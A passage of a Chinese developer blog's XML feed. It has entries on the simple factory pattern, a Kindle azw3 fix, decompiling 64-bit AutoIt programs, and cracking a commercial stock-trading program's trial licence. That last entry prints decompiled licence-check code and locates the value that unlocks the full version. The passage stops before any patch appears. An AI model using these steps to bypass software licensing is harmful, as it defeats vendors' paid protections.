class="line">{</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> Operation <span class="title">createOperate</span>(<span class="params"><span class="keyword">string</span> operate</span>)</span><br><span class="line"> </span>{</span><br><span class="line"> Operation oper = <span class="keyword">null</span>;</span><br><span class="line"> <span class="keyword">switch</span> (operate)</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">case</span> <span class="string">"+"</span>:</span><br><span class="line"> oper = <span class="keyword">new</span> OperationAdd();</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="string">"-"</span>:</span><br><span class="line"> oper = <span class="keyword">new</span> OperationSub();</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="string">"*"</span>:</span><br><span class="line"> oper = <span class="keyword">new</span> OperationMul();</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="string">"/"</span>:</span><br><span class="line"> oper = <span class="keyword">new</span> OperationDiv();</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> oper;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title">Program</span></span><br><span class="line">{</span><br><span class="line"> <span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">Main</span>(<span class="params"><span class="keyword">string</span>[] args</span>)</span><br><span class="line"> </span>{</span><br><span class="line"> Operation oper;</span><br><span class="line"> Console.Write(<span class="string">"Operator: "</span>);</span><br><span class="line"> oper = OPerationFactory.createOperate(Console.ReadLine());</span><br><span class="line"> Console.Write(<span class="string">"NumberA: "</span>);</span><br><span class="line"> oper.NumberA = <span class="keyword">double</span>.Parse(Console.ReadLine());</span><br><span class="line"> Console.Write(<span class="string">"NumberB: "</span>);</span><br><span class="line"> oper.NumberB = <span class="keyword">double</span>.Parse(Console.ReadLine());</span><br><span class="line"> <span class="keyword">double</span> result = oper.GetResult();</span><br><span class="line"> Console.WriteLine(<span class="string">"Result: "</span> + result.ToString());</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<h2 id="Python代码">Python代码</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># coding: utf-8</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Operation</span>:</span></span><br><span class="line"> NumberA = <span class="number">0</span></span><br><span class="line"> NumberB = <span class="number">0</span></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">GetResult</span><span class="params">(self)</span>:</span></span><br><span class="line"> <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">OperationAdd</span><span class="params">(Operation)</span>:</span></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">GetResult</span><span class="params">(self)</span>:</span></span><br><span class="line"> <span class="keyword">return</span> self.NumberA + self.NumberB</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">OperationSub</span><span class="params">(Operation)</span>:</span></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">GetResult</span><span class="params">(self)</span>:</span></span><br><span class="line"> <span class="keyword">return</span> self.NumberA - self.NumberB</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">OperationMul</span><span class="params">(Operation)</span>:</span></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">GetResult</span><span class="params">(self)</span>:</span></span><br><span class="line"> <span class="keyword">return</span> self.NumberA * self.NumberB</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">OperationDiv</span><span class="params">(Operation)</span>:</span></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">GetResult</span><span class="params">(self)</span>:</span></span><br><span class="line"> <span class="keyword">if</span> self.NumberB == <span class="number">0</span>:</span><br><span class="line"> <span class="keyword">raise</span> Exception(<span class="string">u'除数不能为0.'</span>)</span><br><span class="line"> <span class="keyword">return</span> self.NumberA / float(self.NumberB)</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">OperationFactory</span><span class="params">(Operation)</span>:</span></span><br><span class="line"> operation = dict()</span><br><span class="line"> operation[<span class="string">'+'</span>] = OperationAdd()</span><br><span class="line"> operation[<span class="string">'-'</span>] = OperationSub()</span><br><span class="line"> operation[<span class="string">'*'</span>] = OperationMul()</span><br><span class="line"> operation[<span class="string">'/'</span>] = OperationDiv()</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">createOperation</span><span class="params">(self, operate)</span>:</span></span><br><span class="line"> oper = <span class="keyword">None</span></span><br><span class="line"> <span class="keyword">if</span> operate <span class="keyword">in</span> self.operation:</span><br><span class="line"> oper = self.operation[operate]</span><br><span class="line"> <span class="keyword">return</span> oper</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> oper = OperationFactory().createOperation(raw_input(<span class="string">'Operator: '</span>))</span><br><span class="line"> oper.NumberA = input(<span class="string">'NumberA: '</span>)</span><br><span class="line"> oper.NumberB = input(<span class="string">'NumberB: '</span>)</span><br><span class="line"> <span class="keyword">print</span> <span class="string">'Result:'</span>,oper.GetResult()</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">
<![CDATA[<p>简单工厂模式的核心思想是通过创建一个工厂类来根据不同条件生产不同的类,然后根据不同类对基类方法的覆写得到不同的结果。</p>
<h1 id="优势">优势</h1><p>新添加类时,不影响之前的代码,仅需编写新增类代码和修改工厂类代码。</p>
<h1 id="劣势">劣势</h1><p>客户端必须知道基类和工厂类,耦合性差。</p>]]>
</summary>
<category term="Python" scheme="http://blog.smvirus.com/tags/Python/"/>
<category term="设计模式" scheme="http://blog.smvirus.com/tags/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/"/>
<category term="读书笔记" scheme="http://blog.smvirus.com/categories/%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/"/>
</entry>
<entry>
<title><![CDATA[解决Calibre转换的.azw3文件在Kindle中取词错误]]></title>
<link href="http://blog.smvirus.com/2015/07/05/solve-the-calibre-conversion-azw3-files-use-dictionary-error-in-the-kindle-paperwhite/"/>
<id>http://blog.smvirus.com/2015/07/05/solve-the-calibre-conversion-azw3-files-use-dictionary-error-in-the-kindle-paperwhite/</id>
<published>2015-07-04T18:04:52.000Z</published>
<updated>2015-10-21T17:21:19.000Z</updated>
<content type="html"><![CDATA[<p>最近购买了Amazon新版的Kindle PaperWhite阅读器,在使用时发现azw3格式的电子书排版要比mobi格式更加精致,于是将已有的mobi电子书转换成了azw3格式,但发现通过Calibre转换的azw3格式电子书在Kindle中阅读时对中文的取词会出现问题,具体表现为长按取词时会选中整句。<br>本文记录了解决该问题的方法。</p>
<h1 id="问题现象">问题现象</h1><hr>
<p><img src="http://7xicmh.com1.z0.glb.clouddn.com/blog/solve-the-calibre-conversion-azw3-files-use-dictionary-error-in-the-kindle-paperwhite/error.png" alt=""></p>
<a id="more"></a>
<h1 id="解决思路">解决思路</h1><hr>
<p>发现该问题时第一反应是认为Calibre的设置不对,但在多次更改转换参数后始终未能解决该问题,后来发现一些无损mobi在推送到Amazon云端的时候,Amazon的服务器会将其中的KF8格式文件从中提取出来重新生成azw3文件,并且该azw3文件在Kindle中阅读时对中文取词并不会出现问题,于是便有了解决该问题的思路。</p>
<h1 id="解决方案">解决方案</h1><hr>
<h2 id="将azw3文件无损转换为mobi文件">将azw3文件无损转换为mobi文件</h2><p>转换方法可参考以下文章<br><a href="http://kindlefere.com/post/102.html" target="_blank" rel="external">[将 azw3 格式转换为 mobi 格式并保持原有排版格式]</a><br>或使用以下工具进行转换<br><a href="http://yun.baidu.com/s/1o6r76GU" target="_blank" rel="external">[无损转换为mobi]</a></p>
<h2 id="将mobi格式推送到Amazon云端服务器">将mobi格式推送到Amazon云端服务器</h2><p>可直接使用Amazon注册邮箱发送至Kindle邮箱,然后等待Amazon服务器将推送的mobi文件提取转换为azw3文件。</p>
<h2 id="下载并阅读转换后的文件">下载并阅读转换后的文件</h2><p>当Amazon完成转换后,会自动将书籍同步到Kindle中,但是Amazon服务器生成的azw3文件会带有PDOC标签,在阅读器中会显示为个人文档,且不会显示封面,有强迫症的同学可自行从Amazon的云端下载转换后的文件进行编辑,然后再次通过Calibre发送到设备即可。</p>
<h1 id="成果展示">成果展示</h1><hr>
<p><img src="http://7xicmh.com1.z0.glb.clouddn.com/blog/solve-the-calibre-conversion-azw3-files-use-dictionary-error-in-the-kindle-paperwhite/normal.png" alt=""></p>
]]></content>
<summary type="html">
<![CDATA[<p>最近购买了Amazon新版的Kindle PaperWhite阅读器,在使用时发现azw3格式的电子书排版要比mobi格式更加精致,于是将已有的mobi电子书转换成了azw3格式,但发现通过Calibre转换的azw3格式电子书在Kindle中阅读时对中文的取词会出现问题,具体表现为长按取词时会选中整句。<br>本文记录了解决该问题的方法。</p>
<h1 id="问题现象">问题现象</h1><hr>
<p><img src="http://7xicmh.com1.z0.glb.clouddn.com/blog/solve-the-calibre-conversion-azw3-files-use-dictionary-error-in-the-kindle-paperwhite/error.png" alt=""></p>]]>
</summary>
<category term="Kindle" scheme="http://blog.smvirus.com/tags/Kindle/"/>
<category term="问题记录" scheme="http://blog.smvirus.com/categories/%E9%97%AE%E9%A2%98%E8%AE%B0%E5%BD%95/"/>
</entry>
<entry>
<title><![CDATA[反编译64位AutoIt程序]]></title>
<link href="http://blog.smvirus.com/2015/05/20/decompiling-compiled-autoit-scripts-64bit/"/>
<id>http://blog.smvirus.com/2015/05/20/decompiling-compiled-autoit-scripts-64bit/</id>
<published>2015-05-20T12:22:08.000Z</published>
<updated>2015-10-21T17:22:18.000Z</updated>
<content type="html"><![CDATA[<p><a href="https://www.autoitscript.com/site/autoit/" target="_blank" rel="external">AutoIt</a>(读音aw-tow-it)是一个用于Microsoft Windows的免费自动化语言。AutoIt脚本编译后的程序是通过解释器解释执行的,所以很难直接调试和逆向分析。但与其他解释执行的语言相同,AutoIt编译后的程序可以通过反编译工具得到程序源代码。<a href="https://exe2aut.coom/" target="_blank" rel="external">exe2aut</a>就是一款专门用来反编译AutoIt程序的工具,但是目前exe2aut工具只支持32位AutoIt程序的反编译,并不支持64位AutoIt程序,故本文将介绍如何反编译64位的AutoIt程序。</p>
<a id="more"></a>
<h1 id="反编译64位AutoIt程序的基本思路">反编译64位AutoIt程序的基本思路</h1><hr>
<p>将64位程序转换为32位,然后执行32位程序的反编译流程。因为AutoIt程序是解释执行的,所以我们可以通过替换解释器的方式来将64位程序转换为32位程序。</p>
<h1 id="反编译64位AutoIt程序的完整流程">反编译64位AutoIt程序的完整流程</h1><hr>
<h2 id="获取AutoIt解释器">获取AutoIt解释器</h2><p>AutoIt的解释器程序为Aut2Exe目录中的AutoItSC.bin文件(新版中解释器已嵌入到Aut2Exe.exe)<br>可通过以下链接进行下载v3.3.8.1版本的安装文件并解压获取<br><a href="https://www.autoitscript.com/autoit3/files/archive/autoit/autoit-v3.3.8.1.zip" target="_blank" rel="external">https://www.autoitscript.com/autoit3/files/archive/autoit/autoit-v3.3.8.1.zip</a><br>或直接通过以下链接下载<br><a href="http://blog.smvirus.com/blog/2015/05/20/decompiling-compiled-autoit-scripts-64bit/AutoItSC.zip">http://blog.smvirus.com/blog/2015/05/20/decompiling-compiled-autoit-scripts-64bit/AutoItSC.zip</a></p>
<h2 id="提取编译后的AutoIt脚本">提取编译后的AutoIt脚本</h2><h2 id="v3-3-8-1之前版本编译">v3.3.8.1之前版本编译</h2><p>编译后的AutoIt脚本被保存在程序末尾,可以通过特征码来定位到脚本数据<br>起始特征码: <code>A3484BBE986C4AA9994C530A86D6487D</code><br>结束特征码: <code>A91CCBDD4155332145413036</code></p>
<h2 id="v3-3-8-1之后版本编译">v3.3.8.1之后版本编译</h2><p>编译后的AutoIt脚本被保存在资源中,可通过PE资源查看器进行提取或通过上述特征码定位提取</p>
<h2 id="构造32位的AutoIt程序">构造32位的AutoIt程序</h2><p>将脚本数据直接追加到AutoItSC.bin文件末尾(v3.3.8.1版本的程序脚本数据存放在程序末尾)并另存为filename.x86.exe就完成了64位到32位AutoIt程序的转换。</p>
<h2 id="反编译32位AutoIt程序">反编译32位AutoIt程序</h2><p>使用exe2aut工具反编译转换后的32位程序,此时得到的源码就是64位AutoIt程序的源码。</p>
]]></content>
<summary type="html">
<![CDATA[<p><a href="https://www.autoitscript.com/site/autoit/">AutoIt</a>(读音aw-tow-it)是一个用于Microsoft Windows的免费自动化语言。AutoIt脚本编译后的程序是通过解释器解释执行的,所以很难直接调试和逆向分析。但与其他解释执行的语言相同,AutoIt编译后的程序可以通过反编译工具得到程序源代码。<a href="https://exe2aut.coom/">exe2aut</a>就是一款专门用来反编译AutoIt程序的工具,但是目前exe2aut工具只支持32位AutoIt程序的反编译,并不支持64位AutoIt程序,故本文将介绍如何反编译64位的AutoIt程序。</p>]]>
</summary>
<category term="Autoit" scheme="http://blog.smvirus.com/tags/Autoit/"/>
<category term="Decompile" scheme="http://blog.smvirus.com/tags/Decompile/"/>
<category term="调试逆向" scheme="http://blog.smvirus.com/categories/%E8%B0%83%E8%AF%95%E9%80%86%E5%90%91/"/>
</entry>
<entry>
<title><![CDATA[ZDX股票自动交易软件破解]]></title>
<link href="http://blog.smvirus.com/2015/03/27/zdxstock-trial-crack/"/>
<id>http://blog.smvirus.com/2015/03/27/zdxstock-trial-crack/</id>
<published>2015-03-27T13:43:34.000Z</published>
<updated>2015-10-21T17:25:45.000Z</updated>
<content type="html"><![CDATA[<p>今天发现邮箱里有人请求帮忙破解一款用于自动操盘的软件,于是便看了一下,虽然最终成功破解掉了该软件,但并未将其发送给求助者。在我看来,破解更多是为了学习和研究,在经济条件允许的情况下,为软件付费,支持正版是每个人都该做的。</p>
<h1 id="初次安装">初次安装</h1><hr>
<p>因为是试用期类的软件,所以按照通常的方式,将系统时间向后调若干年后进行安装,安装后发现试用开始日期仍为今天,并未受系统时间调整而影响,故判断该软件的验证方式可能是服务器验证。<br><img src="http://7xicmh.com1.z0.glb.clouddn.com/blog/zdxstock-trial-crack/trial.jpg" alt=""></p>
<a id="more"></a>
<h1 id="程序分析">程序分析</h1><hr>
<p>在安装运行之后,发现该软件在启动时带有关键字“正在检测注册信息”,遂尝试通过关键字在程序中找到验证点,查壳后发现该软件为.Net程序,便祭出.Net神器Reflector来分析。</p>
<h2 id="去混淆处理">去混淆处理</h2><p>通过Reflector可以发现,该软件的主程序是经过混淆处理的,所有类名、方法名都被修改为无意义字母,以此来增加逆向分析的难度。<br><img src="http://7xicmh.com1.z0.glb.clouddn.com/blog/zdxstock-trial-crack/obfuscated.jpg" alt=""></p>
<p>这里可以使用Reflector的Reflexil插件的Obfuscator search功能来搜索和去除混淆,效果如下图。<br><img src="http://7xicmh.com1.z0.glb.clouddn.com/blog/zdxstock-trial-crack/cleaned.jpg" alt=""></p>
<h2 id="寻找关键点">寻找关键点</h2><p>去混淆之后,我们开始尝试搜索关键字“正在检测注册信息”,发现以下方法</p>
<figure class="highlight csharp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> GClass3.<span class="function">GEnum4 <span class="title">method_136</span>(<span class="params"><span class="keyword">string</span> string_1 = <span class="string">""</span></span>)</span><br><span class="line"></span>{</span><br><span class="line"> GClass3.GEnum4 enum2;</span><br><span class="line"> <span class="keyword">if</span> (!GClass3.bool_21)</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">this</span>.method_12(<span class="string">"<"</span> + Conversions.ToString(GClass3.int_2) + <span class="string">">正在检测注册信息..."</span>);</span><br><span class="line"> <span class="keyword">if</span> (GClass3.string_34 == <span class="string">""</span>)</span><br><span class="line"> {</span><br><span class="line"> GClass3.string_34 = GClass0.smethod_51();</span><br><span class="line"> }</span><br><span class="line"> GClass1 class2 = <span class="keyword">new</span> GClass1();</span><br><span class="line"> <span class="keyword">try</span></span><br><span class="line"> {</span><br><span class="line"> GClass1.GStruct5 struct2 = <span class="keyword">new</span> GClass1.GStruct5 {</span><br><span class="line"> bool_0 = GClass3.bool_1,</span><br><span class="line"> string_0 = GClass3.string_1,</span><br><span class="line"> string_1 = GClass3.string_2,</span><br><span class="line"> string_2 = GClass3.string_34,</span><br><span class="line"> string_3 = GClass3.string_35</span><br><span class="line"> };</span><br><span class="line"> GClass1.GStruct6 struct3 = class2.method_0(struct2);</span><br><span class="line"> <span class="keyword">if</span> (struct3.bool_4)</span><br><span class="line"> {</span><br><span class="line"> GClass3.int_2 = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">if</span> (((struct3.bool_0 == GClass3.bool_1) & (struct3.string_1 == GClass3.string_1)) & (struct3.string_2 == GClass3.string_34))</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">string</span> str = struct3.string_0.Substring(<span class="number">0</span>, <span class="number">7</span>);</span><br><span class="line"> <span class="keyword">switch</span> (str)</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">case</span> <span class="string">"数据库打开失败"</span>:</span><br><span class="line"> GClass3.decimal_1 = GClass3.decimal_0;</span><br><span class="line"> GClass3.string_12 = GClass3.string_3;</span><br><span class="line"> GClass3.smethod_8(<span class="string">"注册数据库打开失败"</span>, <span class="keyword">true</span>);</span><br><span class="line"> <span class="keyword">return</span> GClass3.GEnum4.const_0;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">case</span> <span class="string">"数据库操作错误"</span>:</span><br><span class="line"> GClass3.decimal_1 = GClass3.decimal_0;</span><br><span class="line"> GClass3.string_12 = GClass3.string_3;</span><br><span class="line"> GClass3.smethod_8(<span class="string">"注册数据库操作错误"</span>, <span class="keyword">true</span>);</span><br><span class="line"> <span class="keyword">return</span> GClass3.GEnum4.const_0;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">case</span> <span class="string">"机器码首次存档"</span>:</span><br><span class="line"> GClass3.dateTime_0 = Conversions.ToDate(struct3.string_3);</span><br><span class="line"> GClass3.decimal_1 = struct3.decimal_0;</span><br><span class="line"> GClass3.string_12 = struct3.string_4;</span><br><span class="line"> <span class="keyword">return</span> GClass3.GEnum4.const_2;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">case</span> <span class="string">"机器码已经存档"</span>:</span><br><span class="line"> <span class="keyword">if</span> (struct3.bool_3)</span><br><span class="line"> {</span><br><span class="line"> GClass3.dateTime_0 = Conversions.ToDate(struct3.string_3);</span><br><span class="line"> GClass3.decimal_1 = GClass3.decimal_0;</span><br><span class="line"> GClass3.string_12 = GClass3.string_3;</span><br><span class="line"> <span class="keyword">return</span> GClass3.GEnum4.const_1;</span><br><span class="line"> }</span><br><span class="line"> GClass3.dateTime_0 = Conversions.ToDate(struct3.string_3);</span><br><span class="line"> GClass3.decimal_1 = struct3.decimal_0;</span><br><span class="line"> GClass3.string_12 = struct3.string_4;</span><br><span class="line"> <span class="keyword">return</span> GClass3.GEnum4.const_2;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">case</span> <span class="string">"注册码已经录入"</span>:</span><br><span class="line"> <span class="keyword">if</span> (struct3.bool_3)</span><br><span class="line"> {</span><br><span class="line"> GClass3.dateTime_0 = Conversions.ToDate(struct3.string_3);</span><br><span class="line"> GClass3.decimal_1 = GClass3.decimal_0;</span><br><span class="line"> GClass3.string_12 = GClass3.string_3;</span><br><span class="line"> <span class="keyword">return</span> GClass3.GEnum4.const_3;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (struct3.bool_2)</span><br><span class="line"> {</span><br><span class="line"> GClass3.dateTime_0 = Conversions.ToDate(struct3.string_3);</span><br><span class="line"> GClass3.decimal_1 = struct3.decimal_0;</span><br><span class="line"> GClass3.string_12 = struct3.string_4;</span><br><span class="line"> <span class="keyword">return</span> GClass3.GEnum4.const_4;</span><br><span class="line"> }</span><br><span class="line"> GClass3.dateTime_0 = Conversions.ToDate(struct3.string_3);</span><br><span class="line"> GClass3.decimal_1 = GClass3.decimal_0;</span><br><span class="line"> GClass3.string_12 = GClass3.string_3;</span><br><span class="line"> <span class="keyword">return</span> GClass3.GEnum4.const_5;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (str != <span class="string">"注册码还未录入"</span>)</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">return</span> enum2;</span><br><span class="line"> }</span><br><span class="line"> GClass3.decimal_1 = GClass3.decimal_0;</span><br><span class="line"> GClass3.string_12 = GClass3.string_3;</span><br><span class="line"> <span class="keyword">return</span> GClass3.GEnum4.const_6;</span><br><span class="line"> }</span><br><span class="line"> GClass3.decimal_1 = GClass3.decimal_0;</span><br><span class="line"> GClass3.string_12 = GClass3.string_3;</span><br><span class="line"> GClass3.smethod_8(<span class="string">"返回信息不匹配"</span>, <span class="keyword">true</span>);</span><br><span class="line"> <span class="keyword">return</span> GClass3.GEnum4.const_0;</span><br><span class="line"> }</span><br><span class="line"> GClass3.int_2++;</span><br><span class="line"> <span class="keyword">if</span> (GClass3.int_2 <= <span class="number">3</span>)</span><br><span class="line"> {</span><br><span class="line"> Thread.Sleep(<span class="number">0x7d0</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">this</span>.method_136(<span class="string">""</span>);</span><br><span class="line"> }</span><br><span class="line"> GClass3.decimal_1 = GClass3.decimal_0;</span><br><span class="line"> GClass3.string_12 = GClass3.string_3;</span><br><span class="line"> GClass3.smethod_8(<span class="string">"注册服务不可用"</span>, <span class="keyword">true</span>);</span><br><span class="line"> enum2 = GClass3.GEnum4.const_0;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">catch</span> (Exception exception1)</span><br><span class="line"> {</span><br><span class="line"> ProjectData.SetProjectError(exception1);</span><br><span class="line"> Exception exception = exception1;</span><br><span class="line"> GClass3.decimal_1 = GClass3.decimal_0;</span><br><span class="line"> GClass3.string_12 = GClass3.string_3;</span><br><span class="line"> GClass3.smethod_8(<span class="string">"检测注册信息异常:"</span> + exception.Message, <span class="keyword">true</span>);</span><br><span class="line"> enum2 = GClass3.GEnum4.const_0;</span><br><span class="line"> ProjectData.ClearProjectError();</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">finally</span></span><br><span class="line"> {</span><br><span class="line"> class2 = <span class="keyword">null</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> enum2;</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>通过这个方法我们可以发现两个重要信息:</p>
<ol>
<li>该方法将机器码信息和注册信息发送给<code>class2.method_0</code>方法并返回一个结构对象,该对象将用来后续的判断;</li>
<li>该方法返回一个枚举值,该枚举值将决定软件最终运行哪种授权版本。</li>
</ol>
<h2 id="分析返回值">分析返回值</h2><p>我们首先分析上述方法的返回值,通过<code>method_136</code>方法的引用关系,我们发现返回值会作为参数传给<code>smethod_2</code>这个方法,并且当值为<code>GEnum4.const_4</code>时,软件会显示为正式版。</p>
<figure class="highlight csharp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">smethod_2</span>(<span class="params">GEnum4 genum4_1</span>)</span><br><span class="line"></span>{</span><br><span class="line"> genum4_0 = genum4_1;</span><br><span class="line"> <span class="keyword">switch</span> (smethod_1())</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">case</span> GEnum4.const_0:</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">string</span> str = <span class="string">"[注册失败\x00b7"</span> + string_12 + <span class="string">"]"</span>;</span><br><span class="line"> smethod_8(str, <span class="keyword">true</span>);</span><br><span class="line"> Class1.smethod_3().method_8().Text = string_16 + str;</span><br><span class="line"> Class1.smethod_3().method_8().vmethod_156().Visible = <span class="keyword">true</span>;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">case</span> GEnum4.const_1:</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">string</span> str3 = <span class="string">"[试用版已过期\x00b7"</span> + string_12 + <span class="string">"]"</span>;</span><br><span class="line"> smethod_8(str3, <span class="keyword">true</span>);</span><br><span class="line"> Class1.smethod_3().method_8().Text = string_16 + str3;</span><br><span class="line"> Class1.smethod_3().method_8().vmethod_156().Visible = <span class="keyword">true</span>;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">case</span> GEnum4.const_2:</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">string</span> str2 = <span 